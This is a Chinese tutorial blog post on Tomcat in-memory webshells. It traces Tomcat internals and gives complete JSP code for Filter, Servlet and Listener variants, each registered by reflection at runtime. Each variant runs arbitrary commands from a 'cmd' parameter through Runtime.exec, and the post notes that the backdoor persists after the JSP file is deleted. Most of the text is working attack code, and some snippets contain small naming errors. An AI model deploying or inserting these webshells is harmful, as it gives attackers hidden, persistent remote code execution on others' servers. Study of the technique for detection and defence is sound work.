Tomcat内存马

Tomcat内存马

简介

Tomcat内存马主要分为三种,分别是Filter型、Servlet型和Listener型,其原理是动态的将恶意组件添加到正在运行的Tomcat服务器中。

使用范围

Servlet在3.0版本之后能够支持动态注册组件,而Tomcat7.x及以上支持Servlet3.0。

Filter型

源码分析

我们首先来实现一个简单的Filter

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/*")
public class TestFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("调用了Filter!");
        filterChain.doFilter(servletRequest,servletResponse);
    }
    @Override
    public void destroy() {
    }
}

使用IDEA进行调试,在doFilter处进行断点,调用链如下:

image-20230301135114764

我们向上回溯,首先看一下ApplicationFilterChain#internalDoFilter

image-20230301135426166

在此处调用了filter.doFilter()方法,此处的filter为我们编写filter对象,该对象通过filterConfig.getFilter()从filterConfig中获取。而filterConfig从ApplicationFilterConfig类型的filters数组中获取。

private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
...
ApplicationFilterConfig filterConfig = this.filters[this.pos++];

每个filterConfig都对应着一个Filter,其中存储这此条Filter的各种信息,例如Filterdef和Filter对象等信息

image-20230301140808072

filterDef中存放了filterClass、filterName等基本信息

image-20230301152131859

我们来找一下存放filterConfig的数组filters[]在哪里被赋值

在StandardWrapperValve#invoke方法中,初始化了一个ApplicationFilterChain

image-20230301141746113

跟进ApplicationFilterFactory#createFilterChain方法,首先会创建一个空的filterChain对象

image-20230301143742309

然后通过wrapper.getParent()函数来获取StandardContext对象,并获取StandardContext对象中的FilterMaps

image-20230301144048337

FilterMaps是存放FilterMap的数组,而FilterMap里主要存储Filter的名称和路径映射信息,其对应的是web.xml中的<filter-mapping>标签

image-20230301144311997

<filter-mapping>
    <filter-name></filter-name>
    <url-pattern></url-pattern>
</filter-mapping>

然后根据Filter的名称,在StandardContext中获取FilterConfig,通过filterChain.addFilter(filterConfig)将所有filterConfig添加到filterChain中

image-20230301144959192

在filterChain.addFilter()方法中,filterConfig被添加至filters[]中,此时就完成了我们前面filters[]的获取问题

image-20230301145555793

接着会回到StandardWrapperValve#invoke方法中,调用filterChain.doFilter方法

image-20230301150630280

在filterChain.doFilter中会调用ApplicationFilterChain#internalDoFilter方法,至此Filter的创建过程清晰明了

image-20230301150654741

从上面的分析可知,filter内存马的关键就是将恶意Filter的信息添加进FilterConfig数组和将恶意的filtermap添加进FilterMaps中,那么Tomcat在启动时就会自动初始化我们的恶意Filter,并在访问相应的路径时触发代码。

动态注册Filter

经过上面的分析,我们可以总结出动态注册Filter的流程:

  1. 获取上下文对象StandardContext
  2. 创建恶意Filter
  3. 构造FilterDef封装filter
  4. 创建filterMap,将路径与Filtername绑定,将其添加到filterMaps中
  5. 使用FilterConfig封装filterDef,然后将其添加到filterConfigs中

我们一步一步完成:

获取StandardContext对象
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
 
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
 
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
创建恶意Filter
 public class Filter_Shell implements Filter{
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            String cmd = servletRequest.getParameter("cmd");
            if(cmd!=null){
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while((line = bufferedReader.readLine())!=null){
                    stringBuilder.append(line+"\n");
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
            filterChain.doFilter(servletRequest,servletResponse);
        }
        @Override
        public void destroy() {

        }
    }
构造FilterDef封装filter
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
创建filterMap并放入filterMaps
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
封装filterConfig及filterDef到filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)                constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
完整代码
<%--
  Created by IntelliJ IDEA.
  User: Christ1na
  Date: 2023/2/15
  Time: 10:25
  To change this template use File | Settings | File Templates.
--%>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    ServletContext servletContext = request.getSession().getServletContext();
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

<%!
    public class Filter_Shell implements Filter{
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            String cmd = servletRequest.getParameter("cmd");
            if(cmd!=null){
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while((line = bufferedReader.readLine())!=null){
                    stringBuilder.append(line+"\n");
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
            filterChain.doFilter(servletRequest,servletResponse);
        }
        @Override
        public void destroy() {

        }
    }
%>
<%
    Filter_Shell filter = new Filter_Shell();
    String name = "Christ1na";
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    filterConfigs.put(name, filterConfig);
%>

先访问jsp木马,动态注册恶意Filter

然后访问任意路由即可执行命令,即使删除此jsp文件

image-20230301155718068

Servlet型

源码分析

根据前置知识和Filter型内存马的分析,我们可以知道,要想动态注册Servlet型内存马,我们需要在Tomcat启动的时候进行动态注册,我们来分析一下Tomcat服务器初始化的过程中,是如何加载Servlet的

创建StandardWrapper

首先是获取并解析web.xml获取各种配置参数,然后在configureContext()中调用了createWrapper()创建StandWrapper对象,并根据解析参数初始化StandWrapper对象

image-20230303154336775

继续往下,会配置WrapperServletClass

image-20230303160250139

将配置好的wrapper放入StandardContextChild

image-20230303160411224

通过addServletMappingDecoded()方法添加Servlet对应的url映射

image-20230303154657199

加载StandardWrapper

首先在StandardContext#startInternal方法中获取到StandardWrapper类

然后通过loadOnStartUp()方法加载wrapper

image-20230303161032587

在此方法中,指挥加载所有loadOnStartup属性值大于0的wrapper,其默认为-1,此时selvet加载完毕

动态注册Servlet

经过上面的分析,我们可以总结出动态注册Servlet的流程:

  1. 获取StandardContext对象
  2. 编写恶意Servlet
  3. 通过StandardContext.createWrapper()创建StandardWrapper对象
  4. 设置StandardWrapper对象的各种属性值
  5. 将StandardWrapper对象添加进StandardContext对象的children属性中
  6. 通过StandardContext.addServletMappingDecoded()添加对应的路径映射
获取StandardContext对象
<%    ServletContext servletContext = request.getSession().getServletContext();
    Field field = servletContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)field.get(servletContext);
    Field field1 = applicationContext.getClass().getDeclaredField("context");
    field1.setAccessible(true);
    StandardContext standardContext = (StandardContext)field1.get(applicationContext);
%>
或者
<%    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();
%>
编写恶意Servlet
public class Servlet_Shell implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    }
创建StandardWrapper对象
<%
    Servlet_Shell Servlet_Shell = new Servlet_Shell();
    String name = Servlet_Shell.getClass().getSimpleName();
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());
%>
将Wrapper添加进StandardContext
<%
	standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
%>
完整代码
<%--
  Created by IntelliJ IDEA.
  User: Christ1na
  Date: 2023/3/3
  Time: 16:19
  To change this template use File | Settings | File Templates.
--%>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
%>

<%!

    public class Servlet_Shell implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    }

%>

<%
    Servlet_Shell Servlet_Shell = new Servlet_Shell();
    String name = Servlet_Shell.getClass().getSimpleName();

    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(Servlet_Shell);
    wrapper.setServletClass(Servlet_Shell.getClass().getName());
%>

<%
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
%>

先访问jsp文件,然后成功注册内存马

image-20230303162637005

Listener型

Listener分为三种:

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

显然最适合做内存马的是ServletRequestListener,其用来监听ServletRequest对象的,当我们访问任意资源时都会触发

源码分析

我们首先来实现一个简单的ServletRequestListener

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;

@WebListener
public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        System.out.println("destroyde TestListener");
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        System.out.println("initializde TestListener");
    }
}

在requestDestroyed方法打上断点进行调试,可以发现是StandardContext#fireRequestDestroyEvent()中调用了requestDestroyed(),而我们的listener对象是由getApplicationEventListeners()进行获取

image-20230303163553395

跟进此方法,发现Listener是存储于applicationEventListenersList属性中image-20230303163921924

image-20230303163855416

我们可以通过StandardContext#addApplicationEventListener()来添加Listener

image-20230303164253626

动态注册Listener

经过上面的分析,我们可以总结出动态注册Listener的流程:

  1. 获取上下文对象StandardContext
  2. 创建恶意Listener
  3. 使用addApplicationEventListener()方法添加恶意的Listener
获取StandardContext
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>
或者
<%
	WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>
创建恶意Listener
<%!
    public class Listener_Shell implements ServletRequestListener {

        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
        }

        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>
添加恶意的Listener
<%
	Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>
完整代码
<%--
  Created by IntelliJ IDEA.
  User: Christ1na
  Date: 2023/3/3
  Time: 16:49
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>

<%!
    public class Listener_Shell implements ServletRequestListener {

        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
        }

        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();

    Listener_Shell Listener_Shell = new Listener_Shell();
    context.addApplicationEventListener(Listener_Shell);
%>

访问此恶意jsp后成功注册内存马

image-20230303165239427

参考链接:

https://goodapple.top/archives/1355#leftbar_tab_catalog

http://blog.o3ev.cn/yy/1509

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值